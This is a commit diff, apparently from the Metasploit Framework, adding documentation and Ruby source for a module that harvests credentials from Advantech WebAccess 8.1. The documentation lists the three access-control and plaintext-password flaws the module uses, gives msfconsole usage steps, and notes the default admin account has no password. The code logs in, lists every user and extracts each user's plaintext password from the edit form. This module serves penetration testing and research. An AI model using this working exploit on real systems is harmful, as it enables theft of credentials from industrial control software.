commit
f846535d78
|
@ -0,0 +1,47 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module exploits three vulnerabilities in Advantech WebAccess.
|
||||||
|
|
||||||
|
The first vulnerability is the ability for an arbitrary user to access the admin user list page,
|
||||||
|
revealing the username of every user on the system.
|
||||||
|
|
||||||
|
The second vulnerability is the user edit page can be accessed loaded by an arbitrary user, with
|
||||||
|
the data of an arbitrary user.
|
||||||
|
|
||||||
|
The final vulnerability exploited is that the HTML Form on the user edit page contains the user's
|
||||||
|
plain text password in the masked password input box. Typically the system should replace the
|
||||||
|
actual password with a masked character such as "*".
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Version 8.1 was tested during development:
|
||||||
|
|
||||||
|
http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
|
||||||
|
|
||||||
|
8.2 is not vulnerable to this.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. ```use auxiliary/gahter/advantech_webaccess_creds```
|
||||||
|
3. ```set WEBACCESSUSER [USER]```
|
||||||
|
4. ```set WEBACCESSPASS [PASS]```
|
||||||
|
5. ```run```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**WEBACCESSUSER**
|
||||||
|
|
||||||
|
The username to use to log into Advantech WebAccess. By default, there is a built-in account
|
||||||
|
```admin``` that you could use.
|
||||||
|
|
||||||
|
**WEBACCESSPASS**
|
||||||
|
|
||||||
|
The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
|
||||||
|
does not have a password, which could be something you can use.
|
||||||
|
|
||||||
|
|
||||||
|
## Demo
|
||||||
|
|
||||||
|
![webaccess_steal_creds](https://cloud.githubusercontent.com/assets/1170914/22353246/34b2045e-e3e5-11e6-992c-f3ab9dcbe716.gif)
|
|
@ -0,0 +1,175 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector",
|
||||||
|
'Description' => %q{
|
||||||
|
This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.
|
||||||
|
Although authentication is required, any level of user permission can exploit this vulnerability.
|
||||||
|
|
||||||
|
Note that 8.2 is not suitable for this.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154
|
||||||
|
'sinn3r', # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "Jan 21 2017"
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']),
|
||||||
|
OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']),
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_login
|
||||||
|
vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
|
||||||
|
|
||||||
|
uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => uri,
|
||||||
|
'vars_post' => {
|
||||||
|
'page' => '/',
|
||||||
|
'pos' => '',
|
||||||
|
'username' => datastore['WEBACCESSUSER'],
|
||||||
|
'password' => datastore['WEBACCESSPASS'],
|
||||||
|
'remMe' => '',
|
||||||
|
'submit1' => 'Login'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out while trying to login')
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp'
|
||||||
|
print_good("Logged in as #{datastore['WEBACCESSUSER']}")
|
||||||
|
report_cred(
|
||||||
|
user: datastore['WEBACCESSUSER'],
|
||||||
|
password: datastore['WEBACCESSPASS'],
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||||
|
)
|
||||||
|
return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || ''
|
||||||
|
end
|
||||||
|
|
||||||
|
print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_user_cred_detail(sid, user)
|
||||||
|
vprint_status("Gathering password for user: #{user}")
|
||||||
|
|
||||||
|
uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => uri,
|
||||||
|
'cookie' => sid,
|
||||||
|
'vars_get' => {
|
||||||
|
'uname' => user
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_error("Unable to gather password for user #{user} due to a connection timeout")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
html = res.get_html_document
|
||||||
|
pass_field = html.at('input[@name="Password"]')
|
||||||
|
|
||||||
|
pass_field ? pass_field.attributes['value'].text : nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_users_page(sid)
|
||||||
|
vprint_status("Checking user page...")
|
||||||
|
|
||||||
|
uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => uri,
|
||||||
|
'cookie' => sid
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp')
|
||||||
|
end
|
||||||
|
|
||||||
|
html = res.get_html_document
|
||||||
|
|
||||||
|
users = html.search('a').map { |a|
|
||||||
|
Rex::Text.uri_decode(a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first || '')
|
||||||
|
}.delete_if { |user| user.blank? }
|
||||||
|
|
||||||
|
users
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: rhost,
|
||||||
|
port: rport,
|
||||||
|
service_name: 'webaccess',
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
last_attempted_at: DateTime.now,
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: opts[:status],
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
cookie = do_login
|
||||||
|
users = get_users_page(cookie)
|
||||||
|
|
||||||
|
users.each do |user|
|
||||||
|
pass = get_user_cred_detail(cookie, user)
|
||||||
|
|
||||||
|
if pass
|
||||||
|
report_cred(
|
||||||
|
user: user,
|
||||||
|
password: pass,
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||||
|
proof: 'AdminPg.asp'
|
||||||
|
)
|
||||||
|
|
||||||
|
print_good("Found password: #{user}:#{pass}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue